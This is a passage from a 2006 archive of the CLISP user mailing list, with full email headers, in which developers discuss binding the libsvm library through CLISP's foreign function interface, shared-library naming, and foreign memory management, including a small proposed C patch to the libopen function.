made. It's not at compile time that I thought about it. I concede that many people would be happy with compile time decisions. That's fine with self-compiled stuff. Possibly not enough with distributed, portable and shared .fas files. Also, I didn't put much thought into whether "find out if module shared library at run-time" is really useful and more than an experience of intellectual satisfaction. BTW, I don't like explicit "postgresql.so" in source files. a) I think people should not edit source files just to install something. That's why I dislike (defpackage ) (in-package ) (defvar *path* "foo"). Like in Emacs, the path ought to be definable before the system is loaded. Of course, the USER package could be used by convention, but certainly some people will dislike that. b) .so is certainly wrong on Darwin and SM-Windows. And I don't people to start using #+ #+ #- every time a shared library is mentioned. Oh well, that's been discussed in clsql-devel, cffi, uffi, Lispworks and likely other places sometimes. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 20 10:33:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ5wc-0003Ad-UE for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:33:10 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQ5wb-0005CS-Kl for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:33:10 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 19:01:59 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 20 Sep 2006 19:01:59 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Wed, 20 Sep 2006 19:01:57 +0200 Message-Id: in-reply-to: <451149D0.4050101@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm Thread-Index: Acbcvfsu742sMT2HSyOABVab/u+sAgAF63hw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 20 Sep 2006 17:01:59.0579 (UTC) FILETIME=[7C74F6B0:01C6DCD6] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 17:33:11 -0000 Hi, Sam Steingold wrote: >that's what I use now: >(ffi:def-call-out %svm_predict_probability (:name=20 >"svm_predict_probability") > (:arguments (model svm_model) (x (c-array-ptr svm_node)) > (prob_estimates c-pointer)) > (:return-type double-float) (:library svm-so)) >(defun svm_predict_probability (model x) > (with-foreign-object (prob_estimates `(c-array int ,(svm_get_nr_class model))) > (%svm_predict_probability model x (foreign-address prob_estimates)) > (foreign-value prob_estimates))) Looks good. Do you feel it's convoluted? You can throw away the explicit call to FOREIGN-ADDRESS. It's documented (c-pointer type accepts any pointer). >but this requires a run-time call to PARSE-C-TYPE for no good reason. Where? The `(c-array int ,...) pattern should get optimized away by the COMPILER-MACRO. What did I miss? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Wed Sep 20 10:51:22 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ6ED-0004oq-T4 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:51:22 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ6ED-0004Ni-7c for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:51:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQ6Dz-0002Sq-CX for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 19:51:07 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 19:51:07 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 19:51:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 13:50:54 -0400 Lines: 65 Message-ID: <45117F7E.5070007@gnu.org> References: <451153A9.1040405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi interfaces X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 17:51:22 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> BTW, this way we can also add a compilation unit variable >> *default-library* whose global value would be NIL but whose value you >> will set to "postgresql.so" in postgresql.lisp. > > Er, how will a compilation unit help? My thoughts for the macroexpansion > of DEF-CALL-OUT was a run-time call. I.e. it's not until the .fas file > is loaded that a decision is made. It's not at compile time that I > thought about it. similar to *foreign-language*: some things have to be known at compile time because of the need to write the C file. > BTW, I don't like explicit "postgresql.so" in source files. > a) I think people should not edit source files just to install > something. > That's why I dislike (defpackage ) (in-package ) (defvar *path* > "foo"). > Like in Emacs, the path ought to be definable before the system is > loaded. Of course, the USER package could be used by convention, but > certainly some people will dislike that. > b) .so is certainly wrong on Darwin and what about Darwin? what does this comment mean: /* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */ > and SM-Windows. And I don't people > to start using #+ #+ #- every time a shared library is mentioned. we can modify libopen like this: --- spvw.d 01 Aug 2006 17:29:33 -0400 1.391 +++ spvw.d 20 Sep 2006 13:50:23 -0400 @@ -3470,10 +3470,20 @@ global void * libopen (const char* libname) { #if defined(WIN32_NATIVE) - return (void*)LoadLibrary(libname); + var void *lib = (void*)LoadLibrary(libname); + if (NULL != lib || strlen(libname) > MAX_PATH-5) return lib; + var char buf[MAX_PATH]; + strcpy(buf,libname); /* we KNOW that libname fits into buf! */ + strcat(buf,".dll"); + return (void*)LoadLibrary(buf); #else + var void *lib = dlopen(libname,RTLD_NOW|RTLD_GLOBAL); + if (NULL != lib || strlen(libname) > MAXPATHLEN-4) return lib; + var char buf[MAXPATHLEN]; + strcpy(buf,libname); /* we KNOW that libname fits into buf! */ + strcat(buf,".so"); /* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */ - return dlopen(libname,RTLD_NOW|RTLD_GLOBAL); + return dlopen(buf,RTLD_NOW|RTLD_GLOBAL); #endif } > Oh well, that's been discussed in clsql-devel, cffi, uffi, Lispworks and > likely other places sometimes. and what's the conclusion? From kavenchuk@tut.by Wed Sep 20 11:21:51 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ6hj-0007kd-66 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:21:51 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQ6hg-00086x-7K for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:21:50 -0700 Received: from [194.158.220.214] (account kavenchuk HELO [194.158.220.214]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 141938271; Wed, 20 Sep 2006 21:21:39 +0300 Message-ID: <451186B0.6000709@tut.by> Date: Wed, 20 Sep 2006 21:21:36 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head for release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 18:21:51 -0000 Build on win32/mingw is ok. Thanks! -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Wed Sep 20 11:40:09 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ6zR-00013H-CP for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:40:09 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ6zO-0003TK-P7 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:40:09 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQ6zD-0006uD-3y for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 20:39:55 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 20:39:55 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 20:39:55 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 14:39:32 -0400 Lines: 25 Message-ID: <45118AE4.4030006@gnu.org> References: <451149D0.4050101@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 18:40:09 -0000 Hi Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> but this requires a run-time call to PARSE-C-TYPE for no good reason. > > Where? The `(c-array int ,...) pattern should get optimized away by the > COMPILER-MACRO. What did I miss? hmm -- nothing. sorry. indeed there are no parse-c-type calls there, but there is one in (defun alist-to-nodes (alist) ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*] (let* ((len (length alist)) (ret (allocate-shallow 'node :count (1+ len)))) (with-c-place (v ret) (loop :for i :upfrom 0 :for (index . value) :in alist :do (setf (slot (element v i) 'index) index (slot (element v i) 'value) value)) (setf (slot (element v len) 'index) -1)) ret)) why? From sds@gnu.org Wed Sep 20 11:41:47 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ711-00018z-Jm for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:41:47 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQ710-0003jg-7G for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:41:47 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AB5E52400BC; Wed, 20 Sep 2006 14:41:34 -0400 Message-ID: <45118B5D.3040301@gnu.org> Date: Wed, 20 Sep 2006 14:41:33 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 18:41:47 -0000 so, what is wrong with this code: (def-c-type node (c-struct list (index int) (value double-float))) (def-c-type problem (c-struct list (l int) ; number of records (y (c-array-ptr double-float)) ; of length l (targets) (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) (defun alist-to-nodes (alist) ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*] (let* ((len (length alist)) (ret (allocate-shallow 'node :count (1+ len)))) (with-c-place (v ret) (loop :for i :upfrom 0 :for (index . value) :in alist :do (setf (slot (element v i) 'index) index (slot (element v i) 'value) value)) (setf (slot (element v len) 'index) -1)) ret)) (defun list-to-vector (list) ;; Lisp list --> C array (let* ((len (length list)) (ret (allocate-shallow 'double-float :count len))) (with-c-place (v ret) (loop :for i :upfrom 0 :for value :in list :do (setf (element v i) value))) ret)) (defun make-problem (&key l y x) (let ((ret (allocate-shallow 'problem))) (setf (slot (foreign-value ret) 'l) l (slot (foreign-value ret) 'y) (offset (foreign-value (list-to-vector y)) 0 `(c-array double-float ,l)) ; FIXME!! (slot (foreign-value ret) 'x) (offset (foreign-value (alist-to-nodes x)) 0 `(c-array (c-ptr node) ,l))) ; FIXME!! ret)) From lisp-clisp-list@m.gmane.org Wed Sep 20 15:03:18 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQAA1-0003HG-Ur for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 15:03:18 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQAA0-0005kd-8o for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 15:03:17 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQA9o-0006gt-2f for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 00:03:04 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 00:03:03 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 00:03:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 18:02:40 -0400 Lines: 41 Message-ID: <4511BA80.5050706@gnu.org> References: <451153A9.1040405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi interfaces -- resource management X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 22:03:18 -0000 how does resource management work in clisp ffi? (def-call-out destroy-param (:library svm-so) (:name "svm_destroy_param") (:arguments (param (c-ptr parameter))) (:return-type nil)) (defun destroy-parameter (parameter) (destroy-param parameter) (foreign-free parameter)) (def-c-type parameter (c-struct list (svm_type int) (kernel_type int) (degree int) ; for poly (gamma double-float) ; for poly/rbf/sigmoid (coef0 double-float) ; for poly/sigmoid ;; these are for training only (cache_size double-float) ; in MB (eps double-float) ; stopping criteria (C double-float) ; for C_SVC, EPSILON_SVR and NU_SVR (nr_weight int) ; for C_SVC (weight_label (c-array-ptr int)) ; for C_SVC (weight (c-array-ptr double-float)) ; for C_SVC (nu double-float) ; for NU_SVC, ONE_CLASS, and NU_SVR (p double-float) ; for EPSILON_SVR (shrinking int) ; use the shrinking heuristics (probability int))) ; do probability estimates when I pass a foreign-variable pointing to a `parameter' to `destroy-parameter', I get an error saying that it is not a `parameter' that `destroy-param' expects. apparently, if I write (defun destroy-parameter (parameter) (destroy-param (foreign-value parameter)) (foreign-free parameter)) it will work, but this does not make any sense: "svm_destroy_param" releases the array fields which are copied over by foreign-value and then by FOREIGN-CALL-OUT. If I write instead (def-call-out destroy-param (:library svm-so) (:name "svm_destroy_param") (:arguments (param c-pointer #|(c-ptr parameter)|#)) (:return-type nil)) it works (apparently) but looks ugly. maybe ANY foreign argument should be compatible with a FOREIGN-POINTER (including foreign variables and addresses) and work by dereferencing? From lisp-clisp-list@m.gmane.org Wed Sep 20 15:13:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQAJk-0004CU-9c for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 15:13:20 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQAJj-0007s2-Ls for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 15:13:20 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQAJY-0008Rx-KS for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 00:13:08 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 00:13:08 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 00:13:08 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 18:12:53 -0400 Lines: 2 Message-ID: <4511BCE5.1080108@gnu.org> References: <451153A9.1040405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi interfaces -- resource management X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 22:13:20 -0000 why does FFI:FOREIGN-FREE invalidate functions but not variables? From ralph.rice@gmail.com Wed Sep 20 16:12:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQBF3-0000ws-5u for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 16:12:33 -0700 Received: from wx-out-0506.google.com ([66.249.82.236]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQBF1-0003UQ-NU for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 16:12:33 -0700 Received: by wx-out-0506.google.com with SMTP id r21so514084wxc for ; Wed, 20 Sep 2006 16:12:30 -0700 (PDT) Received: by 10.90.80.8 with SMTP id d8mr7107440agb; Wed, 20 Sep 2006 16:12:30 -0700 (PDT) Received: by 10.90.27.17 with HTTP; Wed, 20 Sep 2006 16:12:30 -0700 (PDT) Message-ID: Date: Wed, 20 Sep 2006 19:12:30 -0400 From: "Ralph Allan Rice" To: clisp-list@lists.sourceforge.net In-Reply-To: <20060919211640.45957.qmail@web54108.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: base64 Content-Disposition: inline References: <20060919211640.45957.qmail@web54108.mail.yahoo.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] CGI with lisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 23:12:33 -0000 Rmlyc3QgcG9zdCEgOi0pCgpodHRwOi8vd3d3LmZyYWN0YWxjb25jZXB0LmNvbS9hc3AvbW9kX2xp c3AKCkkgaGF2ZSBiZWVuIGV4cGVyaW1lbnRpbmcgd2l0aCBtb2RfbGlzcCwgYW4gYXBhY2hlIG1v ZHVsZSBmb3IKZm9yd2FyZGluZyByZXF1ZXN0IGRhdGEgdG8gYSBzZXBhcmF0ZSBsaXNwIHByb2Nl c3MgdmlhIGEgc29ja2V0LiAgRm9yCnRoZSBtb3N0IHBhcnQsIGl0IHdvcmtzIGFzIGFkdmVydGlz ZWQuIFNvLCB0aGF0IG1heSBiZSBhbiBvcHRpb24gZm9yCnlvdSBhbHNvLgoKLS0KUmFscGgKCgpP biA5LzE5LzA2LCBBdWR1biBSw79mZmZmZjhtY2tlIDxhdWR1bnJAeWFob28uY29tPiB3cm90ZToK PiBIZWxsbyBldmVyeW9uZSwKPgo+IGFueW9uZSBoYXZlIGFueSBleHBlcmllbmNlIHJ1bm5pbmcg bGlzcCBjb2RlIGFzIENHST8KPiBJJ20gYWJvdXQgdG8gc3RhcnQgaG9zdGluZyBhIHdlYnNpdGUg Zm9yIGNvbXB1dGF0aW9uYWwKPiBsaW5ndWlzdGljcyBvbiBteSBvd24gc2VydmVyIChXaW5YUCwg QXBhY2hlMiAtIG5vdAo+IGlkZWFsLCBJJ3ZlIGJlZW4gdG9sZCBvbiBudW1lcm91cyBvY2Nhc2lv bnMsIGJ1dAo+IHRoYXQncyBhbm90aGVyIHBvaW50KSwgYW5kIEkgbmVlZCB0byBsZXQgdXNlcnMg dHJ5IG91dAo+IG15IGxpc3AgcHJvZ3JhbXMgdGhyb3VnaCB0aGUgYnJvd3NlciB3aW5kb3cuIEkg d291bGQKPiBpbWFnaW5lIHRoYXQgaXQncyBhIG1hdHRlciBvZiBsZXR0aW5nIHRoZSBzZXJ2ZXIK PiBzb2Z0d2FyZSBrbm93IHdoZXJlIHRoZSBpbnRlcnByZXRlciBpcyBhbmQgaG93IHRvCj4gcmVj b2duaXNlIGxpc3AgZmlsZXMgYXMgQ0dJIHNjcmlwdHMsIGxpa2UgZS5nLiBQZXJsCj4gYW5kIFBI UC4gSG93IG11Y2ggZG8gSSBuZWVkIHRvIGtub3cgYWJvdXQgdGhlCj4gaW50ZXJuYWxzIG9mIEFw YWNoZSBldGMuIHRvIGdldCBzb21ldGhpbmcgbGlrZSB0aGlzIHVwCj4gYW5kIHJ1bm5pbmc/IENh biBJIHVzZSBQSFAgb3IgUGVybCBhcyBpbnRlcm1lZGlhcmllcz8KPgo+IEknbSBhbHNvIGN1cmlv dXMgYXMgdG8gd2hldGhlciBsaXNwLWFzLUNHSQo+IChhbHRlcm5hdGl2ZWx5IGxpc3Agb24gaXRz IG93bikgaGFzIGFueSBpbnRlcmZhY2VzIHRvCj4gYSBEQk1TIGxpa2UgTXlTUUwuCj4KPiBJJ3Zl IGJlZW4gZ29vZ2xpbmcgbXkgZmluZ2VycyBzb3JlIHRyeWluZyB0byBmaW5kCj4gZGV0YWlscyBh Ym91dCB0aGVzZSB0aGluZ3MsIGJ1dCBJJ3ZlIG9idmlvdXNseSBiZWVuCj4gbG9va2luZyBpbiB0 aGUgd3JvbmcgcGxhY2VzLiBBbnkgdGlwcz8KPgo+IFRoYW5rcyBhIGxvdCwKPiBBdWR1bgo+Cj4K Pgo+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCj4g RG8gWW91IFlhaG9vIT8KPiBUaXJlZCBvZiBzcGFtPyAgWWFob28hIE1haWwgaGFzIHRoZSBiZXN0 IHNwYW0gcHJvdGVjdGlvbiBhcm91bmQKPiBodHRwOi8vbWFpbC55YWhvby5jb20KPgo+IC0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0KPiBUYWtlIFN1cnZleXMuIEVhcm4gQ2FzaC4gSW5mbHVlbmNlIHRoZSBGdXR1 cmUgb2YgSVQKPiBKb2luIFNvdXJjZUZvcmdlLm5ldCdzIFRlY2hzYXkgcGFuZWwgYW5kIHlvdSds bCBnZXQgdGhlIGNoYW5jZSB0byBzaGFyZSB5b3VyCj4gb3BpbmlvbnMgb24gSVQgJiBidXNpbmVz cyB0b3BpY3MgdGhyb3VnaCBicmllZiBzdXJ2ZXlzIC0tIGFuZCBlYXJuIGNhc2gKPiBodHRwOi8v d3d3LnRlY2hzYXkuY29tL2RlZmF1bHQucGhwP3BhZ2U9am9pbi5waHAmcD1zb3VyY2Vmb3JnZSZD SUQ9REVWREVWCj4gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X18KPiBjbGlzcC1saXN0IG1haWxpbmcgbGlzdAo+IGNsaXNwLWxpc3RAbGlzdHMuc291cmNlZm9y Z2UubmV0Cj4gaHR0cHM6Ly9saXN0cy5zb3VyY2Vmb3JnZS5uZXQvbGlzdHMvbGlzdGluZm8vY2xp c3AtbGlzdAo+Cg== From lisp-clisp-list@m.gmane.org Thu Sep 21 04:21:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQMcR-0004Zv-HF for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 04:21:27 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQMcQ-000350-R6 for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 04:21:27 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQMcD-0007d7-OZ for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 13:21:13 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 13:21:13 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 13:21:13 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Date: Thu, 21 Sep 2006 11:20:43 +0000 Lines: 50 Message-ID: References: <20060919211640.45957.qmail@web54108.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 